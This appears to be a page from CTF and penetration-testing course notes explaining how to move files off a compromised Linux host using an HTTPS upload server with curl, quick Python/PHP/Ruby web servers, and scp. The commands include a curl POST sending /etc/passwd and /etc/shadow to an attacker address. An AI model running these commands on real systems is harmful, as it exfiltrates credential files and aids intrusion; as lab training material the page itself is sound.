> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/linux-file-transfer-upload.md).

# Linux File Transfer Upload

Use this page when you need to move files off a Linux compromised host.

Some methods also work in reverse to push files to a Linux target.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the Linux machine you already accessed.
{% endhint %}

### Upload methods

#### 1. Web upload via `uploadserver` and `curl`

Run the first three commands on the **attacker**.

Run the `curl` command on the **compromised host**.

```bash
# Attacker — create SSL cert and start HTTPS upload server
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

# Target — upload files using curl POST
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

`-F 'files=@/etc/passwd'` means attach that file as multipart form data.

`--insecure` skips TLS verification for the self-signed certificate.

You can upload multiple files by repeating `-F`.

#### 2. Quick web server

Use this when the compromised host has Python, PHP, or Ruby.

Start a web server on the **compromised host**.

Then pull the file from the **attacker**.

```bash
# On TARGET — start web server in the directory containing your file
python3 -m http.server           # Python3, port 8000
python2.7 -m SimpleHTTPServer    # Python2, port 8000
php -S 0.0.0.0:8000              # PHP, port 8000
ruby -run -ehttpd . -p8000       # Ruby, port 8000

# On PWNBOX — download the file
wget 192.168.49.128:8000/file.txt
```

This is a download from the attacker's view.

It is still an upload path from the compromised host's view.

#### 3. SCP upload

Use this when SSH is available and you want a direct encrypted copy.

**Attacker or any machine with the source file — upload a local file to a remote Linux host**

```bash
# Upload local file TO remote machine
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
```

If you need the opposite direction, swap the source and destination.


---

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```

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